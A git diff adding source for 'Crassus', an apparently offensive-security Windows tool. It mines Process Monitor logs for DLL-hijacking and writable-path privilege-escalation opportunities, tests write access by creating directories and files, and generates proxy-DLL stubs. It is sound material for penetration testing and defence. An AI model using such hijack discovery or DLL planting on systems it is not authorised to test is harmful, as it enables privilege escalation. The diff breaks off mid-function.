diff --git a/bin/Crassus.exe b/bin/Crassus.exe
new file mode 100644
index 000000000..b7c9b87af
Binary files /dev/null and b/bin/Crassus.exe differ
diff --git a/repos/Crassus/.gitignore b/repos/Crassus/.gitignore
new file mode 100644
index 000000000..b805ed325
--- /dev/null
+++ b/repos/Crassus/.gitignore
@@ -0,0 +1,34 @@
+# User-specific files
+*.suo
+*.user
+*.userosscache
+*.sln.docstates
+
+
+# Build results
+[Dd]ebug/
+[Dd]ebugPublic/
+[Rr]elease/
+[Rr]eleases/
+x64/
+x86/
+bld/
+[Bb]in/
+[Oo]bj/
+[Ll]og/
+
+# Visual Studio 2015/2017 cache/options directory
+.vs/
+
+# Visual Studio 2017 auto generated files
+Generated\ Files/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+
+# .NET Core
+project.lock.json
+project.fragment.lock.json
+artifacts/
diff --git a/repos/Crassus/Crassus.sln b/repos/Crassus/Crassus.sln
new file mode 100644
index 000000000..b686a966c
--- /dev/null
+++ b/repos/Crassus/Crassus.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.32413.511
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBD}") = "Crassus", "Crassus\Crassus.csproj", "{7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Debug|x64 = Debug|x64
+ Release|Any CPU = Release|Any CPU
+ Release|x64 = Release|x64
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}.Debug|x64.ActiveCfg = Debug|x64
+ {7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}.Debug|x64.Build.0 = Debug|x64
+ {7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}.Release|Any CPU.Build.0 = Release|Any CPU
+ {7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}.Release|x64.ActiveCfg = Release|x64
+ {7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}.Release|x64.Build.0 = Release|x64
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {F5AA9A6A-172C-489D-B1DF-FCD43E427945}
+ EndGlobalSection
+EndGlobal
diff --git a/repos/Crassus/Crassus/App.config b/repos/Crassus/Crassus/App.config
new file mode 100644
index 000000000..193aecc67
--- /dev/null
+++ b/repos/Crassus/Crassus/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/repos/Crassus/Crassus/Crassus.csproj b/repos/Crassus/Crassus/Crassus.csproj
new file mode 100644
index 000000000..7293f8520
--- /dev/null
+++ b/repos/Crassus/Crassus/Crassus.csproj
@@ -0,0 +1,123 @@
+
+
+
+
+ Debug
+ AnyCPU
+ {7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A}
+ Exe
+ Crassus
+ Crassus
+ v4.8
+ 512
+ true
+ true
+ publish\
+ true
+ Disk
+ false
+ Foreground
+ 7
+ Days
+ false
+ false
+ true
+ 0
+ 1.0.0.%2a
+ false
+ false
+ true
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+
+
+ true
+ bin\x64\Debug\
+ DEBUG;TRACE
+ full
+ x64
+ 7.3
+ prompt
+ true
+
+
+ bin\x64\Release\
+ TRACE
+ true
+ none
+ x64
+ 7.3
+ prompt
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ True
+ True
+ Resources.resx
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ResXFileCodeGenerator
+ Resources.Designer.cs
+ Designer
+
+
+
+
+ False
+ Microsoft .NET Framework 4.8 %28x86 and x64%29
+ true
+
+
+ False
+ .NET Framework 3.5 SP1
+ false
+
+
+
+
\ No newline at end of file
diff --git a/repos/Crassus/Crassus/Crassus/CommandLine/CommandLineParser.cs b/repos/Crassus/Crassus/Crassus/CommandLine/CommandLineParser.cs
new file mode 100644
index 000000000..c451e2e86
--- /dev/null
+++ b/repos/Crassus/Crassus/Crassus/CommandLine/CommandLineParser.cs
@@ -0,0 +1,315 @@
+using Crassus.ProcMon;
+using Crassus.Properties;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace Crassus.Crassus.CommandLine
+{
+ class CommandLineParser
+ {
+ private readonly string[] RawArguments;
+
+ private Dictionary GlobalArguments = new Dictionary
+ {
+ { "pml", "" },
+ { "pmc", "" },
+ { "csv", "" },
+ { "exe", "" },
+ { "exports", "" },
+ { "procmon", "" },
+ { "proxy-dll-template", "" },
+ { "existing-log", "switch" },
+ { "verbose", "switch" },
+ { "debug", "switch" },
+ { "all", "switch" },
+ { "detect", "switch" }
+ };
+
+ private Dictionary Arguments = new Dictionary();
+
+ public CommandLineParser(string[] args)
+ {
+ RawArguments = args;
+
+ Load();
+ }
+
+ private void Load()
+ {
+ Arguments = LoadCommandLine(GlobalArguments);
+ Parse(Arguments);
+ }
+
+ private Dictionary LoadCommandLine(Dictionary arguments)
+ {
+ foreach (string parameter in arguments.Keys.ToList())
+ {
+ arguments[parameter] = GetArgument($"--{parameter}", arguments[parameter] == "switch");
+ }
+
+ // Remove null values.
+ return arguments
+ .Where(v => (v.Value != null))
+ .ToDictionary(v => v.Key, v => v.Value);
+ }
+
+ private string GetArgument(string name, bool isSwitch = false)
+ {
+ string value = null;
+
+ for (int i = 0; i < RawArguments.Length; i++)
+ {
+ if (RawArguments[i].ToLower() == name.ToLower())
+ {
+ if (isSwitch)
+ {
+ // This is a boolean switch, like --verbose, so we just return a non empty value.
+ value = "true";
+ }
+ else
+ {
+ if (i + 1 <= RawArguments.Length)
+ {
+ value = RawArguments[i + 1];
+ }
+ }
+ break;
+ }
+ }
+
+ return value;
+ }
+
+ private void Parse(Dictionary arguments)
+ {
+ foreach (KeyValuePair argument in arguments)
+ {
+ switch (argument.Key.ToLower())
+ {
+ case "debug":
+ if (argument.Value.ToLower() != "false")
+ {
+ RuntimeData.Debug = (argument.Value.Length > 0);
+ Logger.IsDebug = RuntimeData.Debug;
+ }
+ break;
+ case "verbose":
+ if (argument.Value.ToLower() != "false")
+ {
+ RuntimeData.Verbose = (argument.Value.Length > 0);
+ Logger.IsVerbose = RuntimeData.Verbose;
+ }
+ break;
+ case "pmc":
+ RuntimeData.ProcMonConfigFile = argument.Value;
+ break;
+ case "pml":
+ RuntimeData.ProcMonLogFile = argument.Value;
+ break;
+ case "csv":
+ RuntimeData.CsvOutputFile = argument.Value;
+ break;
+ case "exe":
+ RuntimeData.TrackExecutables = argument.Value
+ .Split(',')
+ .ToList()
+ .Select(s => s.Trim()) // Trim
+ .Where(s => !string.IsNullOrWhiteSpace(s)) // Remove empty
+ .Distinct() // Remove duplicates
+ .ToList();
+ break;
+ case "procmon":
+ RuntimeData.ProcMonExecutable = argument.Value;
+ break;
+ case "exports":
+ RuntimeData.ExportsOutputDirectory = argument.Value;
+ break;
+ case "existing-log":
+ if (argument.Value.ToLower() != "false")
+ {
+ RuntimeData.ProcessExistingLog = (argument.Value.Length > 0);
+ }
+ break;
+ case "proxy-dll-template":
+ RuntimeData.ProxyDllTemplate = argument.Value;
+ break;
+ case "all":
+ if (argument.Value.ToLower() != "false")
+ {
+ RuntimeData.IncludeAllDLLs = (argument.Value.Length > 0);
+ }
+ break;
+ case "detect":
+ if (argument.Value.ToLower() != "false")
+ {
+ RuntimeData.DetectProxyingDLLs = (argument.Value.Length > 0);
+ }
+ break;
+ default:
+ throw new Exception("Unknown argument: " + argument.Key);
+
+ }
+ }
+
+ // For debug.
+ foreach (KeyValuePair argument in arguments)
+ {
+ Logger.Debug(String.Format("Command Line (raw): {0} = {1}", argument.Key, argument.Value));
+ }
+
+ SanitiseRuntimeData();
+ }
+
+ private void SanitiseExistingLogProcessing()
+ {
+ if (Environment.GetCommandLineArgs().Count() < 2)
+ {
+ // We'll never get here. But whatevs.
+ throw new Exception("Please specify a PML file to parse (Environment.GetCommandLineArgs.count()).");
+ }
+ else if (RuntimeData.ProcMonLogFile == "")
+ {
+ RuntimeData.ProcMonLogFile = Environment.GetCommandLineArgs()[1];
+ }
+
+ string ContinuePMLFile = RuntimeData.ProcMonLogFile.ToLower().Replace(".pml", "") + "-1.pml";
+ if (!File.Exists(RuntimeData.ProcMonLogFile))
+ {
+ throw new Exception("PML file does not exist");
+ }
+ else if (File.Exists(ContinuePMLFile))
+ {
+ Logger.Warning(RuntimeData.ProcMonLogFile + " appears to be a multi-file PML. Please re-save this log to get complete output!");
+ }
+ }
+
+ private void SanitiseHijackingDetection()
+ {
+
+ // Log and Config files.
+ if (RuntimeData.ProcMonConfigFile == "")
+ {
+ // If --pmc is not passed we'll need to create it. In this case we must have a --pml parameter.
+ if (RuntimeData.ProcMonLogFile == "")
+ {
+ throw new Exception("--pml is missing");
+ }
+ else if (File.Exists(RuntimeData.ProcMonLogFile))
+ {
+ // Just a debug statement.
+ Logger.Debug("--pml exists and will be overwritten");
+ }
+ }
+ else if (!File.Exists(RuntimeData.ProcMonConfigFile))
+ {
+ // If --pmc was passed but does not exist, it's invalid.
+ throw new Exception("--pmc does not exist: " + RuntimeData.ProcMonConfigFile);
+ }
+ else
+ {
+ // At this point --pmc exists, so we'll have to use that one.
+ ProcMonPMC pmc = new ProcMonPMC(RuntimeData.ProcMonConfigFile);
+
+ // If the PMC file has no logfile/backing file, check to see if --pml has been set.
+ if (pmc.GetConfiguration().Logfile == "")
+ {
+ if (RuntimeData.ProcMonLogFile == "")
+ {
+ throw new Exception("The --pmc file that was passed has no log/backing file configured and no --pml file has been passed either. Either setup the backing file in the existing PML file or pass a --pml parameter");
+ }
+ // We'll use the --pml argument that was passed.
+ RuntimeData.InjectBackingFileIntoConfig = true;
+ }
+ else
+ {
+ // The PM file has a backing file, so we don't need the --pml argument.
+ RuntimeData.ProcMonLogFile = pmc.GetConfiguration().Logfile;
+ }
+ }
+ }
+
+ private void SanitiseSharedArguments()
+ {
+
+ if (RuntimeData.TrackExecutables.Any())
+ {
+ Logger.Debug("--exe passed, will track the following executables: " + String.Join(", ", RuntimeData.TrackExecutables.ToArray()));
+ }
+
+ // Exports directory.
+ if (RuntimeData.ExportsOutputDirectory == "")
+ {
+ Logger.Debug("No --exports passed, will skip proxy DLL generation");
+ }
+ //else if (Directory.Exists(RuntimeData.ExportsOutputDirectory))
+ //{
+ // Logger.Debug("--exports directory already exists");
+ //}
+ //else
+ //{
+ // // Directory does not exist.
+ // Logger.Debug("--exports directory does not exist, creating it now");
+ // // Will throw exception if there's an error.
+ // Directory.CreateDirectory(RuntimeData.ExportsOutputDirectory);
+ //}
+
+ // Proxy DLL Template.
+ if (RuntimeData.ProxyDllTemplate != "")
+ {
+ // Check if the file exists.
+ if (!File.Exists(RuntimeData.ProxyDllTemplate))
+ {
+ throw new Exception("--proxy-dll-template file does not exist");
+ }
+
+ // Load the template into the file.
+ RuntimeData.ProxyDllTemplate = File.ReadAllText(RuntimeData.ProxyDllTemplate);
+ }
+ else
+ {
+ // Otherwise, load it from the resource.
+ RuntimeData.ProxyDllTemplate = Resources.ResourceManager.GetString("proxy.dll.cpp");
+ }
+
+ RuntimeData.ProxyDllTemplateResource = Resources.ResourceManager.GetString("proxy.dll.def");
+
+ // Argument combination validation.
+ if (RuntimeData.ProcMonConfigFile != "" && RuntimeData.TrackExecutables.Any())
+ {
+ throw new Exception("You cannot use --pmc with --exe");
+ }
+ }
+
+ private void SanitiseRuntimeData()
+ {
+ // If Debug is enabled, force-enable Verbose.
+ if (RuntimeData.Debug)
+ {
+ RuntimeData.Verbose = Logger.IsVerbose = Logger.IsDebug = true;
+ }
+
+ if (RuntimeData.DetectProxyingDLLs)
+ {
+ // Not much here yet.
+ }
+ else
+ {
+ // Now we need to validate everything.
+ if (RuntimeData.ProcessExistingLog)
+ {
+ SanitiseExistingLogProcessing();
+ }
+ else
+ {
+ SanitiseHijackingDetection();
+ }
+
+ SanitiseSharedArguments();
+ }
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/Crassus/CommandLine/RuntimeData.cs b/repos/Crassus/Crassus/Crassus/CommandLine/RuntimeData.cs
new file mode 100644
index 000000000..b7cf327cb
--- /dev/null
+++ b/repos/Crassus/Crassus/Crassus/CommandLine/RuntimeData.cs
@@ -0,0 +1,45 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace Crassus.Crassus.CommandLine
+{
+ class RuntimeData
+ {
+ public static string ProcMonConfigFile = "";
+
+ public static string ProcMonLogFile = "";
+
+ public static string CsvOutputFile = "results.csv";
+
+ public static string ProcMonExecutable = "";
+
+ public static string ExportsOutputDirectory = "stubs";
+
+ public static string ProxyDllTemplate = "";
+
+ public static string ProxyDllTemplateHeader = "";
+
+ public static string ProxyDllTemplateResource = "";
+
+ public static bool ProcessExistingLog = true;
+
+ public static List TrackExecutables = new List();
+
+ public static bool Verbose = false;
+
+ public static bool Debug = false;
+
+ public static bool InjectBackingFileIntoConfig = false;
+
+ public static bool IncludeAllDLLs = false;
+
+ public static bool DetectProxyingDLLs = false;
+
+ public static bool FoundBad = false;
+
+ public static bool HasAcronis = false;
+ }
+}
diff --git a/repos/Crassus/Crassus/Crassus/Detect.cs b/repos/Crassus/Crassus/Crassus/Detect.cs
new file mode 100644
index 000000000..4d67f0f8b
--- /dev/null
+++ b/repos/Crassus/Crassus/Crassus/Detect.cs
@@ -0,0 +1,228 @@
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace Crassus.Crassus
+{
+ class Detect
+ {
+ [DllImport("shell32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+ static extern int SHGetSpecialFolderPath(IntPtr hwndOwner, IntPtr lpszPath, int nFolder, int fCreate);
+
+ // This is what we consider "OS Paths".
+ private const int CSIDL_WINDOWS = 0x0024;
+
+ private const int CSIDL_SYSTEM = 0x0025;
+ private const int CSIDL_SYSTEMX86 = 0x0029;
+
+ private const int CSIDL_PROGRAM_FILES = 0x0026;
+ private const int CSIDL_PROGRAM_FILESX86 = 0x002a;
+
+ private List OSPaths = new List();
+
+ private Dictionary> AlreadyDetected = new Dictionary>();
+
+ private struct ProcessInfoStruct
+ {
+ public Process process;
+ public List DLLs;
+ }
+
+ public void Run()
+ {
+ LoadOSPaths();
+
+ do
+ {
+ try
+ {
+ List> allTasks = new List>();
+ allTasks.Clear();
+ // Create one task for each process we need to get the modules (DLLs) for. This drops execution from 7 seconds down to 2.
+ foreach (Process process in Process.GetProcesses())
+ {
+ Task task = new Task(() => GetProcessInfo(process));
+ task.Start();
+ allTasks.Add(task);
+ }
+
+ // Now that all tasks are doing their thing, wait until they are all completed.
+ Task.WaitAll(allTasks.ToArray());
+
+ // At this point we have all the results we need, do just process it.
+ ProcessResults(allTasks);
+ }
+ catch (Exception e)
+ {
+ // Sometimes we'll try to access a process that has already exited.
+ Logger.Error(e.Message + " - nothing to worrry about, Crassus keeps running");
+ }
+
+ // Adding a sleep here to give the CPU some breathing room.
+ Thread.Sleep(1000);
+ } while (true);
+ }
+
+ private void LoadOSPaths()
+ {
+ OSPaths = new List
+ {
+ GetSpecialFolder(CSIDL_WINDOWS).ToLower(),
+ GetSpecialFolder(CSIDL_SYSTEM).ToLower(),
+ GetSpecialFolder(CSIDL_SYSTEMX86).ToLower(),
+ GetSpecialFolder(CSIDL_PROGRAM_FILES).ToLower(),
+ GetSpecialFolder(CSIDL_PROGRAM_FILESX86).ToLower()
+ };
+ }
+
+ private string GetSpecialFolder(int folder)
+ {
+ IntPtr path = Marshal.AllocHGlobal(260 * 2); // Unicode.
+ SHGetSpecialFolderPath(IntPtr.Zero, path, folder, 0);
+ string result = Marshal.PtrToStringUni(path);
+ Marshal.FreeHGlobal(path);
+ return result;
+ }
+
+ private ProcessInfoStruct GetProcessInfo(Process process)
+ {
+ ProcessInfoStruct info = new ProcessInfoStruct();
+ // Saving it here as it's a pain to try and get from the result of an async task.
+ info.process = process;
+ info.DLLs = new List();
+
+ try
+ {
+ // Put this in a try-catch as the .Modules will return AccessDenied if don't have the right privileges.
+ foreach (ProcessModule module in process.Modules)
+ {
+ info.DLLs.Add(module.FileName);
+ }
+ }
+ catch (Exception e)
+ {
+ // Clear.
+ info.DLLs = new List();
+ }
+
+ return info;
+ }
+
+ private void ProcessResults(List> tasks)
+ {
+ foreach (Task task in tasks)
+ {
+ ProcessInfoStruct result = task.Result;
+ if (result.DLLs.Count() == 0)
+ {
+ // No DLLs for this process, probably cause we got denied when tried to access it.
+ continue;
+ }
+
+ List findings = FindProxyingDLLs(result.DLLs);
+ if (findings.Count() == 0)
+ {
+ // No duplicate DLLs found.
+ continue;
+ }
+
+ foreach (string dll in findings)
+ {
+ // This will also add the DLL into the "known DLLs" mapping.
+ if (!IsAlreadyDetected(result.process, dll))
+ {
+ Logger.Success("Potential proxying DLL: " + dll);
+ Logger.Warning("Loaded by [" + result.process.Id + "] " + result.process.MainModule.FileName);
+ }
+ }
+ }
+ }
+
+ private bool IsAlreadyDetected(Process process, string dll)
+ {
+ dll = dll.ToLower();
+ if (AlreadyDetected.ContainsKey(process.Id))
+ {
+ if (AlreadyDetected[process.Id].Contains(dll))
+ {
+ return true;
+ }
+ }
+
+ // It doesn't exist.
+ if (!AlreadyDetected.ContainsKey(process.Id))
+ {
+ AlreadyDetected.Add(process.Id, new List());
+ }
+ AlreadyDetected[process.Id].Add(dll);
+
+ return false;
+ }
+
+ private List FindProxyingDLLs(List DLLs)
+ {
+ Dictionary dllNameFileMapping = new Dictionary();
+
+ List findings = new List();
+ foreach (string dll in DLLs)
+ {
+ string filename = Path.GetFileName(dll).ToLower();
+ if (!dllNameFileMapping.ContainsKey(filename))
+ {
+ // This is the first time we see this DLL in this process, so it can't be a duplicate one.
+ dllNameFileMapping.Add(filename, dll);
+ continue;
+ }
+
+ // If we got here, it means we have found a DLL with the same name within the same process.
+ string previousFile = dllNameFileMapping[filename];
+ bool previousFileInOSPath = IsFileInOSDirectory(previousFile);
+ bool currentFileInOSPath = IsFileInOSDirectory(dll);
+
+ if (previousFileInOSPath && currentFileInOSPath)
+ {
+ // Both files are in an OS path, ignore.
+ }
+ else if (previousFileInOSPath && !currentFileInOSPath)
+ {
+ // The previous instance is in an OS path while the current one isn't.
+ findings.Add(dll);
+ }
+ else if (!previousFileInOSPath && currentFileInOSPath)
+ {
+ // The current instance is in an OS path while the previous one isn't.
+ findings.Add(previousFile);
+ }
+ else if ((!previousFileInOSPath && !currentFileInOSPath) && (previousFile.ToLower() != dll.ToLower()))
+ {
+ // Both files are outside of OS paths, report both of them.
+ findings.Add(previousFile);
+ findings.Add(dll);
+ }
+ }
+
+ return findings;
+ }
+
+ private bool IsFileInOSDirectory(string path)
+ {
+ foreach (string osPath in OSPaths)
+ {
+ if (path.ToLower().StartsWith(osPath))
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/Crassus/EventProcessor.cs b/repos/Crassus/Crassus/Crassus/EventProcessor.cs
new file mode 100644
index 000000000..feb2734ea
--- /dev/null
+++ b/repos/Crassus/Crassus/Crassus/EventProcessor.cs
@@ -0,0 +1,1103 @@
+using Crassus.ProcMon;
+using Crassus.Properties;
+using Crassus.Crassus.CommandLine;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Security.AccessControl;
+using System.Security.Principal;
+using static Crassus.ProcMon.ProcMonConstants;
+using static Crassus.Crassus.PEFileExports;
+
+namespace Crassus.Crassus
+{
+ class EventProcessor
+ {
+ private readonly ProcMonPML PMLog;
+
+ private Dictionary EventsOfInterest = new Dictionary();
+ private Dictionary ConfirmedEventsOfInterest = new Dictionary();
+ private List libraryExtensionList = new List
+ // For missing files that are attempted to be opened, anything in this list will be marked as notable.
+ // If we reported all missing files, the false-positive rate would go through the roof.
+ // TODO: Maybe there's a comprehensive list of likely to be LoadLibrary'd file extensions
+ {
+ ".dll",
+ ".sys",
+ ".xll",
+ ".wll",
+ ".drv",
+ ".cpl",
+ ".so",
+ ".acm",
+ ".ppi",
+ };
+ private List immutableDirParts = new List();
+ private static List pathsWithNoWriteACLs = new List();
+
+ public EventProcessor(ProcMonPML log)
+ {
+ PMLog = log;
+ }
+
+ public void Run()
+ {
+ // Find all events that indicate that a DLL is vulnerable.
+ Stopwatch watch = Stopwatch.StartNew();
+
+ FindEvents();
+
+ watch.Stop();
+ if (RuntimeData.Debug)
+ {
+ Logger.Debug(String.Format("FindEvents() took {0:N0}ms", watch.ElapsedMilliseconds));
+ }
+
+ // Extract all DLL paths into a list.
+ Logger.Verbose("Extract paths from events of interest...");
+ List MissingDlls = new List();
+ List WritablePaths = new List();
+
+ /////////////////////////////////////////////////////////////////////////////
+ // Why separate the path-creation list from the dictionary of items that has both the path and the event?
+ foreach (KeyValuePair item in EventsOfInterest)
+ {
+ try
+ {
+ string name = Path.GetFileName(item.Key).ToLower();
+ //Logger.Info(name);
+ string path = item.Key.ToLower();
+ //Logger.Info(path);
+ if (item.Value.Result == EventResult.NAME_NOT_FOUND || item.Value.Result == EventResult.PATH_NOT_FOUND)
+ {
+ if (!MissingDlls.Contains(name))
+ {
+ MissingDlls.Add(name);
+ }
+ }
+
+ }
+ catch (Exception e)
+ {
+ //Logger.Error(e.Message);
+ }
+ }
+ Logger.Verbose("Found " + String.Format("{0:N0}", MissingDlls.Count()) + " unique DLLs...");
+ //////////////////////////////////////////////////////////////////////////////////
+
+ //Now try to find the actual DLL that was loaded. For example if 'version.dll' was missing, identify
+ // the location it was eventually loaded from.
+ watch.Restart();
+
+ // TODO: Only do this if there's reason to
+ IdentifySuccessfulEvents(MissingDlls);
+
+ watch.Stop();
+
+ Logger.Info("Checking ACLs of events of interest...");
+ //foreach (string PathName in Paths)
+ foreach (KeyValuePair item in EventsOfInterest)
+ {
+ bool is64bit;
+ bool isBadItem = false;
+ bool fileLocked = false;
+ if (item.Value.Process.Is64 == 1)
+ {
+ is64bit = true;
+ }
+ else
+ {
+ is64bit = false;
+ }
+ string PathName = item.Key.ToLower();
+
+ if (File.Exists(PathName))
+ {
+ Logger.Debug("Found path: " + PathName);
+ if (item.Value.EventClass != EventClassType.Process && !item.Value.Path.EndsWith("openssl.cnf") && item.Value.Result != EventResult.NAME_NOT_FOUND)
+ {
+ // This is an access to an existing file that was also existing on boot, so let's not be bothered by non process (load library, start process) events
+ continue;
+ }
+
+ string LoadedInfo = "";
+ string fileExtension = "";
+ try
+ {
+ fileExtension = Path.GetExtension(PathName.ToLower());
+ }
+ catch
+ {
+ continue;
+ }
+ if (libraryExtensionList.Contains(fileExtension))
+ {
+ // If it's a DLL, then we should share if it's a 64-bit or a 32-bit process attempting to load the file.
+ if (is64bit)
+ {
+ LoadedInfo = " (64-bit, " + item.Value.Process.Integrity + " Integrity)";
+ }
+ else
+ {
+ LoadedInfo = " (32-bit, " + item.Value.Process.Integrity + " Integrity)";
+ }
+ }
+ else
+ {
+ if (is64bit)
+ {
+ LoadedInfo = " (" + item.Value.Process.Integrity + " Integrity)";
+ }
+ else
+ {
+ LoadedInfo = " (" + item.Value.Process.Integrity + " Integrity)";
+ }
+ }
+
+ // This is a library or EXE that was actually loaded.
+ // Let's check the privileges of the file and directory to make sure that they're sane.
+ bool Writable = TestIfWritable(PathName);
+ if (Writable && !WritablePaths.Contains(PathName))
+ {
+ WritablePaths.Add(PathName);
+ Logger.Success("We can write to: " + PathName + LoadedInfo);
+ isBadItem = true;
+ }
+ else
+ {
+ if (HasWritePermissionOnPath(PathName))
+ {
+ Logger.Warning("ACLs should allow writing to " + PathName + ", but we cannot. In use maybe?");
+ isBadItem = true;
+ fileLocked = true;
+ }
+ }
+
+
+ string Dir = FindMutableDirPart(PathName);
+ if (Dir != "")
+ {
+ // There is a parent directory of the target file that can be renamed by the current user
+ if (!WritablePaths.Contains(Dir))
+ {
+ string PlantFileName = Path.GetFileName(PathName);
+ WritablePaths.Add(Dir);
+ Logger.Debug("Adding '" + Dir + "' to the list of writable paths.");
+
+ if ((isBadItem && fileLocked) || (!isBadItem && !fileLocked))
+ {
+ Logger.Success("We can rename: " + Dir + " to allow loading of our own " + PathName + LoadedInfo);
+ }
+ else
+ {
+ // We've already reported a success, so we use "also"
+ Logger.Success("We can also rename: " + Dir + " to allow loading of our own " + PathName + LoadedInfo);
+ }
+
+ isBadItem = true;
+ }
+ }
+
+
+ }
+ else
+ {
+ Logger.Debug("Missing path: " + PathName);
+ // Must be a missing file. We don't know for sure what the program would do with the file, but we can guess.
+ // If it's a DLL, it's *probably* to load it, but that's just a guess.
+ // Let's check the directory ACLs.
+ string LoadedInfo = "";
+ // if (PathName.EndsWith(".dll"))
+ // string fileExtension = Path.GetExtension(PathName).ToLower();
+ string fileExtension = "";
+ try
+ {
+ fileExtension = Path.GetExtension(PathName.ToLower());
+ //Logger.Info(fileExtension);
+ }
+ catch
+ {
+ //Logger.Warning(PathName);
+ continue;
+ }
+ if (libraryExtensionList.Contains(fileExtension) || fileExtension == ".cnf")
+ {
+ // If it's a DLL, then we should share if it's a 64-bit or a 32-bit process attempting to load the file.
+ if (is64bit)
+ {
+ LoadedInfo = " (64-bit, " + item.Value.Process.Integrity + " Integrity)";
+ }
+ else
+ {
+ LoadedInfo = " (32-bit, " + item.Value.Process.Integrity + " Integrity)";
+ }
+ }
+ else if (PathName.EndsWith(".exe"))
+ {
+ if (is64bit)
+ {
+ LoadedInfo = " (" + item.Value.Process.Integrity + " Integrity)";
+ }
+ else
+ {
+ LoadedInfo = " (" + item.Value.Process.Integrity + " Integrity)";
+ }
+ }
+
+ string MissingFileDir = "";
+ string MissingFile = "";
+ try
+ {
+ MissingFileDir = Path.GetDirectoryName(PathName).ToLower();
+ MissingFile = Path.GetFileName(PathName).ToLower(); ;
+ }
+ catch
+ {
+ Logger.Debug("Error parsing " + PathName);
+ continue;
+ }
+
+ Logger.Debug("Checking if we can write to: " + MissingFileDir);
+ if (!Directory.Exists(MissingFileDir))
+ {
+ Logger.Debug(MissingFileDir + " doesn't even exist!");
+ if (MissingFileDir.StartsWith("c:\\"))
+ {
+ try
+ {
+ Directory.CreateDirectory(MissingFileDir);
+ Logger.Success("We can create the missing " + MissingFileDir + " directory to place " + MissingFile + LoadedInfo);
+ isBadItem = true;
+ }
+ catch
+ {
+ // Carry on...
+ }
+
+ }
+ else
+ {
+ Logger.Warning("Ability to place the missing " + PathName + " should be investigated." + LoadedInfo);
+ isBadItem = true;
+ }
+
+ }
+ // It seems that the checking for the write permission check isn't sufficient. So we'll blindly attempt to write to the dir for now.
+ else if (HasWritePermissionOnPath(MissingFileDir) || true)
+ {
+ if (TryWritingToDir(MissingFileDir))
+ // We shouldn't have to do this, but some AV software can do weird things where real-world behavior
+ // doesn't necessarily match up with what the ACLs imply should be possible.
+ {
+ Logger.Success("We can place the missing " + MissingFile + " in " + MissingFileDir + LoadedInfo);
+ isBadItem = true;
+ }
+
+ }
+ }
+
+ if (isBadItem)
+ {
+ RuntimeData.FoundBad = true;
+ //EventsOfInterest.Remove(item.Key);
+ Logger.Verbose("Potentially exploitable path access: " + item.Key);
+ ConfirmedEventsOfInterest.Add(item.Key, item.Value);
+ }
+
+ }
+
+ if (!RuntimeData.FoundBad)
+ {
+ Logger.Info("No events seem to be exploitable!");
+ }
+ else
+ {
+ if (RuntimeData.Debug)
+ {
+ Logger.Debug(String.Format("IdentifySuccessfulEvents() took {0:N0}ms", watch.ElapsedMilliseconds));
+ }
+
+ if (RuntimeData.ExportsOutputDirectory != "")
+ {
+ if (!Directory.Exists(RuntimeData.ExportsOutputDirectory))
+ {
+ Directory.CreateDirectory(RuntimeData.ExportsOutputDirectory);
+ }
+ ExtractExportFunctions();
+ }
+ try
+ {
+ SaveEventsOfInterest();
+ }
+ catch (Exception e)
+ {
+ Logger.Error(e.Message);
+ Logger.Warning("There was an error saving the output. In order to avoid losing the processed data");
+ Logger.Warning("we're going to give it another go. When you resolve the error described above");
+ Logger.Warning("hit ENTER and another attempt at saving the output will be made.", false, true);
+ Console.ReadLine();
+ Logger.Warning("Trying to save file again...");
+ SaveEventsOfInterest();
+ }
+ }
+
+ }
+
+ public static bool HasWritePermissionOnPath(string path)
+ // Loop through the SIDs to see if the current user might be able to write to the specified path
+ {
+ var writeAllow = false;
+ var writeDeny = false;
+ if (!pathsWithNoWriteACLs.Contains(path))
+ {
+ var mySID = WindowsIdentity.GetCurrent().User;
+ var mySIDs = WindowsIdentity.GetCurrent().Groups;
+
+
